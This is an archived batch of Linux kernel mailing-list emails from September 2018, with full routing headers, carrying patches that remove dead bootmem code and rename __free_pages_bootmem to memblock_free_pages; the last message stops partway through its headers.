X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.riscv,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 05/30] mm: nobootmem: remove dead code
Date: Fri, 14 Sep 2018 15:10:20 +0300
Lines: 118
Approved: news@gmane.org
Message-ID: <1536927045-23536-6-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1536927882 27460 195.159.176.226 (14 Sep 2018 12:24:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:24:42 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vger.kernel.org, linux-um@lists.infradead.o
To: linux-mm@kvack.org
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Fri Sep 14 14:24:33 2018
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from lists.ozlabs.org ([203.11.71.2])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1g0n9D-0006vJ-St
	for glppe-linuxppc-embedded-2@m.gmane.org; Fri, 14 Sep 2018 14:24:32 +0200
Original-Received: from bilbo.ozlabs.org (lists.ozlabs.org [IPv6:2401:3900:2:1::3])
	by lists.ozlabs.org (Postfix) with ESMTP id 42BZWj44dBzF3Tj
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Fri, 14 Sep 2018 22:26:41 +1000 (AEST)
Authentication-Results: lists.ozlabs.org; dmarc=none (p=none dis=none) header.from=linux.vnet.ibm.com
X-Original-To: linuxppc-dev@lists.ozlabs.org
Delivered-To: linuxppc-dev@lists.ozlabs.org
Authentication-Results: lists.ozlabs.org;
 spf=none (mailfrom) smtp.mailfrom=linux.vnet.ibm.com
 (client-ip=148.163.158.5; helo=mx0a-001b2d01.pphosted.com;
 envelope-from=rppt@linux.vnet.ibm.com; receiver=<UNKNOWN>)
Authentication-Results: lists.ozlabs.org; dmarc=none (p=none dis=none)
 header.from=linux.vnet.ibm.com
Original-Received: from mx0a-001b2d01.pphosted.com (mx0b-001b2d01.pphosted.com
 [148.163.158.5])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by lists.ozlabs.org (Postfix) with ESMTPS id 42BZBQ1tjFzF3VM
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 14 Sep 2018 22:11:42 +1000 (AEST)
Original-Received: from pps.filterd (m0098419.ppops.net [127.0.0.1])
 by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC5DNT010214
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 14 Sep 2018 08:11:39 -0400
Original-Received: from e06smtp01.uk.ibm.com (e06smtp01.uk.ibm.com [195.75.94.97])
 by mx0b-001b2d01.pphosted.com with ESMTP id 2mgamuw66n-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 14 Sep 2018 08:11:39 -0400
Original-Received: from localhost
 by e06smtp01.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linuxppc-dev@lists.ozlabs.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:11:36 +0100
Original-Received: from b06cxnps3074.portsmouth.uk.ibm.com (9.149.109.194)
 by e06smtp01.uk.ibm.com (192.168.101.131) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:11:24 +0100
Original-Received: from d06av22.portsmouth.uk.ibm.com (d06av22.portsmouth.uk.ibm.com
 [9.149.105.58])
 by b06cxnps3074.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECBNUB37880062
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:11:23 GMT
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 5BEBC4C04E;
 Fri, 14 Sep 2018 15:11:13 +0100 (BST)
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 32CE34C040;
 Fri, 14 Sep 2018 15:11:08 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av22.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:11:08 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:11:17 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-4275-0000-0000-000002BA59C2
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-4276-0000-0000-000037C39739
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=3 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=862 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.29
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:130762 gmane.linux.kernel.mm:203343 gmane.linux.ports.mips.general:66645 gmane.linux.ports.ia64:29240 gmane.linux.ports.sh.devel:57516 gmane.linux.ports.sparc:28428 gmane.linux.ports.hexagon:1857 gmane.linux.ports.riscv:807 gmane.linux.kernel.arc:4370 gmane.linux.ports.alpha:5246 gmane.linux.ports.arm.kernel:674218 gmane.linux.ports.parisc:28968 gmane.linux.kernel:2870793
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/130762>

Several bootmem functions and macros are not used. Remove them.

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
---
 include/linux/bootmem.h | 26 --------------------------
 mm/nobootmem.c          | 35 -----------------------------------
 2 files changed, 61 deletions(-)

diff --git a/include/linux/bootmem.h b/include/linux/bootmem.h
index fce6278..b74bafd1 100644
--- a/include/linux/bootmem.h
+++ b/include/linux/bootmem.h
@@ -36,17 +36,6 @@ extern void free_bootmem_node(pg_data_t *pgdat,
 extern void free_bootmem(unsigned long physaddr, unsigned long size);
 extern void free_bootmem_late(unsigned long physaddr, unsigned long size);
 
-/*
- * Flags for reserve_bootmem (also if CONFIG_HAVE_ARCH_BOOTMEM_NODE,
- * the architecture-specific code should honor this).
- *
- * If flags is BOOTMEM_DEFAULT, then the return value is always 0 (success).
- * If flags contains BOOTMEM_EXCLUSIVE, then -EBUSY is returned if the memory
- * already was reserved.
- */
-#define BOOTMEM_DEFAULT		0
-#define BOOTMEM_EXCLUSIVE	(1<<0)
-
 extern void *__alloc_bootmem(unsigned long size,
 			     unsigned long align,
 			     unsigned long goal);
@@ -73,13 +62,6 @@ void *___alloc_bootmem_node_nopanic(pg_data_t *pgdat,
 extern void *__alloc_bootmem_low(unsigned long size,
 				 unsigned long align,
 				 unsigned long goal) __malloc;
-void *__alloc_bootmem_low_nopanic(unsigned long size,
-				 unsigned long align,
-				 unsigned long goal) __malloc;
-extern void *__alloc_bootmem_low_node(pg_data_t *pgdat,
-				      unsigned long size,
-				      unsigned long align,
-				      unsigned long goal) __malloc;
 
 /* We are using top down, so it is safe to use 0 here */
 #define BOOTMEM_LOW_LIMIT 0
@@ -92,8 +74,6 @@ extern void *__alloc_bootmem_low_node(pg_data_t *pgdat,
 	__alloc_bootmem(x, SMP_CACHE_BYTES, BOOTMEM_LOW_LIMIT)
 #define alloc_bootmem_align(x, align) \
 	__alloc_bootmem(x, align, BOOTMEM_LOW_LIMIT)
-#define alloc_bootmem_nopanic(x) \
-	__alloc_bootmem_nopanic(x, SMP_CACHE_BYTES, BOOTMEM_LOW_LIMIT)
 #define alloc_bootmem_pages(x) \
 	__alloc_bootmem(x, PAGE_SIZE, BOOTMEM_LOW_LIMIT)
 #define alloc_bootmem_pages_nopanic(x) \
@@ -104,17 +84,11 @@ extern void *__alloc_bootmem_low_node(pg_data_t *pgdat,
 	__alloc_bootmem_node_nopanic(pgdat, x, SMP_CACHE_BYTES, BOOTMEM_LOW_LIMIT)
 #define alloc_bootmem_pages_node(pgdat, x) \
 	__alloc_bootmem_node(pgdat, x, PAGE_SIZE, BOOTMEM_LOW_LIMIT)
-#define alloc_bootmem_pages_node_nopanic(pgdat, x) \
-	__alloc_bootmem_node_nopanic(pgdat, x, PAGE_SIZE, BOOTMEM_LOW_LIMIT)
 
 #define alloc_bootmem_low(x) \
 	__alloc_bootmem_low(x, SMP_CACHE_BYTES, 0)
-#define alloc_bootmem_low_pages_nopanic(x) \
-	__alloc_bootmem_low_nopanic(x, PAGE_SIZE, 0)
 #define alloc_bootmem_low_pages(x) \
 	__alloc_bootmem_low(x, PAGE_SIZE, 0)
-#define alloc_bootmem_low_pages_node(pgdat, x) \
-	__alloc_bootmem_low_node(pgdat, x, PAGE_SIZE, 0)
 
 /* FIXME: use MEMBLOCK_ALLOC_* variants here */
 #define BOOTMEM_ALLOC_ACCESSIBLE	0
diff --git a/mm/nobootmem.c b/mm/nobootmem.c
index d4d0cd4..44ce7de 100644
--- a/mm/nobootmem.c
+++ b/mm/nobootmem.c
@@ -404,38 +404,3 @@ void * __init __alloc_bootmem_low(unsigned long size, unsigned long align,
 {
 	return ___alloc_bootmem(size, align, goal, ARCH_LOW_ADDRESS_LIMIT);
 }
-
-void * __init __alloc_bootmem_low_nopanic(unsigned long size,
-					  unsigned long align,
-					  unsigned long goal)
-{
-	return ___alloc_bootmem_nopanic(size, align, goal,
-					ARCH_LOW_ADDRESS_LIMIT);
-}
-
-/**
- * __alloc_bootmem_low_node - allocate low boot memory from a specific node
- * @pgdat: node to allocate from
- * @size: size of the request in bytes
- * @align: alignment of the region
- * @goal: preferred starting address of the region
- *
- * The goal is dropped if it can not be satisfied and the allocation will
- * fall back to memory below @goal.
- *
- * Allocation may fall back to any node in the system if the specified node
- * can not hold the requested memory.
- *
- * The function panics if the request can not be satisfied.
- *
- * Return: address of the allocated region.
- */
-void * __init __alloc_bootmem_low_node(pg_data_t *pgdat, unsigned long size,
-				       unsigned long align, unsigned long goal)
-{
-	if (WARN_ON_ONCE(slab_is_available()))
-		return kzalloc_node(size, GFP_NOWAIT, pgdat->node_id);
-
-	return ___alloc_bootmem_node(pgdat, size, align, goal,
-				     ARCH_LOW_ADDRESS_LIMIT);
-}
-- 
2.7.4



From - Thu Nov 08 21:41:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 26/30] memblock: rename __free_pages_bootmem to
 memblock_free_pages
Date: Fri, 14 Sep 2018 15:10:41 +0300
Lines: 68
Approved: news@gmane.org
Message-ID: <1536927045-23536-27-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927923 31040 195.159.176.226 (14 Sep 2018 12:25:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:25:23 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Sep 14 14:25:14 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1g0n9t-0007nS-7M
	for glpr-linux-riscv@m.gmane.org; Fri, 14 Sep 2018 14:25:13 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=Ukdm5CQW2cvMRBDyY8VQQQ37ginwSHjxH0HLgyXH3JM=; b=WQpskyDvgVusjnR4ySB7ljsuju
	3JhFOAcsIcChCxXUnzGKSnaHFg3osKBoapb1oZk7Z9WsmlJwTj1yNjetaL65s4z/p495zepErAVd3
	Mp4IiWERJNYeIIL7dn/p1UKpQgKl6tvzEv5jnp8jXlxMlUMSH0etchqia45DMQTKYhCuRbV3D5Meb
	ULsDd9o6xNTLZ09yoTghIHXKNcwM5SVDIX/0MhMBmMfIIZPbCimk8Rye/IKB9GLwRbdDs0LNSyEQV
	B+5jCDk2UBhjG4LUsCWwoyYmh5af49p5/UDVE4d7zFSljQLhJ21i6izIgIyOIbTeyvNjekODsY5HJ
	pGU1d4Tg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0nBs-0002Rx-3A; Fri, 14 Sep 2018 12:27:16 +0000
Original-Received: from casper.infradead.org ([2001:8b0:10b:1236::1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0nBo-0002Gp-7o
 for linux-riscv@bombadil.infradead.org; Fri, 14 Sep 2018 12:27:12 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=infradead.org; s=casper.20170209; h=Message-Id:References:In-Reply-To:Date:
 Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=oO8cCbG3FI3lzVwQn201V4TFuz165o5qm3FoHqB+p/k=; b=dIfZyMU3kwyFhiNNKXuy/4VaA
 CkSUJcXruuFFQ8ZGNvWr4vS84d0hAy1oMFtDZ/vGd/5ch4SE20GO6X7DaxXuz5y0hsxRtEymfXk3q
 JmylIm+3C5kLrDC2yha9tnC6RtyDTNap5tI0Doc3Q2ZJsy/s3VUav8wOgzlCsvHTZY8AMlbAoN/Fn
 EkH1fWAtp7KylDdY4B2Zir+QrhN8cnp0hkIW28Ji7b/EhbYqso+sAlLPjI1h+dieTyL+Q4nViWK/n
 A7zV9HUs0f4phjoWPHi6moiTHM2FhxIyEY21iAH1a+grovAiSLQiPgPABreiCGRM0UletUIpTjFWF
 YnkzX658w==;
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1])
 by casper.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0myu-0003Kh-G0
 for linux-riscv@lists.infradead.org; Fri, 14 Sep 2018 12:13:57 +0000
Original-Received: from pps.filterd (m0098399.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC5LhG047859
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:13:46 -0400
Original-Received: from e06smtp05.uk.ibm.com (e06smtp05.uk.ibm.com [195.75.94.101])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2mgak1wyhj-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:13:46 -0400
Original-Received: from localhost
 by e06smtp05.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-riscv@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:13:42 +0100
Original-Received: from b06cxnps4074.portsmouth.uk.ibm.com (9.149.109.196)
 by e06smtp05.uk.ibm.com (192.168.101.135) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:13:31 +0100
Original-Received: from d06av23.portsmouth.uk.ibm.com (d06av23.portsmouth.uk.ibm.com
 [9.149.105.59])
 by b06cxnps4074.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECDUSB786938
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:13:30 GMT
Original-Received: from d06av23.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 1FD1DA4055;
 Fri, 14 Sep 2018 15:13:18 +0100 (BST)
Original-Received: from d06av23.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id F0609A404D;
 Fri, 14 Sep 2018 15:13:12 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av23.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:13:12 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:13:24 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0020-0000-0000-000002C64C19
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0021-0000-0000-00002113AE0E
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=3 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=919 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_131352_951824_7A11A90F 
X-CRM114-Status: GOOD (  23.70  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on casper.infradead.org summary:
 Content analysis details:   (-0.7 points, 5.0 required)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.156.1 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:808 gmane.linux.kernel.mm:203344 gmane.linux.ports.mips.general:66646 gmane.linux.ports.ia64:29241 gmane.linux.ports.sh.devel:57517 gmane.linux.ports.sparc:28429 gmane.linux.ports.hexagon:1858 gmane.linux.kernel.arc:4371 gmane.linux.ports.alpha:5247 gmane.linux.ports.arm.kernel:674219 gmane.linux.ports.parisc:28969 gmane.linux.kernel:2870795 gmane.linux.ports.ppc64.devel:162503
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/808>

The conversion is done using

sed -i 's@__free_pages_bootmem@memblock_free_pages@' \
    $(git grep -l __free_pages_bootmem)

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
---
 mm/internal.h   | 2 +-
 mm/memblock.c   | 2 +-
 mm/nobootmem.c  | 2 +-
 mm/page_alloc.c | 2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/mm/internal.h b/mm/internal.h
index 87256ae..291eb2b 100644
--- a/mm/internal.h
+++ b/mm/internal.h
@@ -161,7 +161,7 @@ static inline struct page *pageblock_pfn_to_page(unsigned long start_pfn,
 }
 
 extern int __isolate_free_page(struct page *page, unsigned int order);
-extern void __free_pages_bootmem(struct page *page, unsigned long pfn,
+extern void memblock_free_pages(struct page *page, unsigned long pfn,
 					unsigned int order);
 extern void prep_compound_page(struct page *page, unsigned int order);
 extern void post_alloc_hook(struct page *page, unsigned int order,
diff --git a/mm/memblock.c b/mm/memblock.c
index 1534edb..a2cd61d 100644
--- a/mm/memblock.c
+++ b/mm/memblock.c
@@ -1615,7 +1615,7 @@ void __init __memblock_free_late(phys_addr_t base, phys_addr_t size)
 	end = PFN_DOWN(base + size);
 
 	for (; cursor < end; cursor++) {
-		__free_pages_bootmem(pfn_to_page(cursor), cursor, 0);
+		memblock_free_pages(pfn_to_page(cursor), cursor, 0);
 		totalram_pages++;
 	}
 }
diff --git a/mm/nobootmem.c b/mm/nobootmem.c
index bb64b09..9608bc5 100644
--- a/mm/nobootmem.c
+++ b/mm/nobootmem.c
@@ -43,7 +43,7 @@ static void __init __free_pages_memory(unsigned long start, unsigned long end)
 		while (start + (1UL << order) > end)
 			order--;
 
-		__free_pages_bootmem(pfn_to_page(start), start, order);
+		memblock_free_pages(pfn_to_page(start), start, order);
 
 		start += (1UL << order);
 	}
diff --git a/mm/page_alloc.c b/mm/page_alloc.c
index 13e394c..f4a8bc8 100644
--- a/mm/page_alloc.c
+++ b/mm/page_alloc.c
@@ -1334,7 +1334,7 @@ meminit_pfn_in_nid(unsigned long pfn, int node,
 #endif
 
 
-void __init __free_pages_bootmem(struct page *page, unsigned long pfn,
+void __init memblock_free_pages(struct page *page, unsigned long pfn,
 							unsigned int order)
 {
 	if (early_page_uninitialised(pfn))
-- 
2.7.4

From - Thu Nov 08 21:41:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 25/30] memblock: rename free_all_bootmem to memblock_free_all
Date: Fri, 14 Sep 2018 15:10:40 +0300
Lines: 530
Approved: news@gmane.org
Message-ID: <1536927045-23536-26-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927927 31228 195.159.176.226 (14 Sep 2018 12:25:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:25:27 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
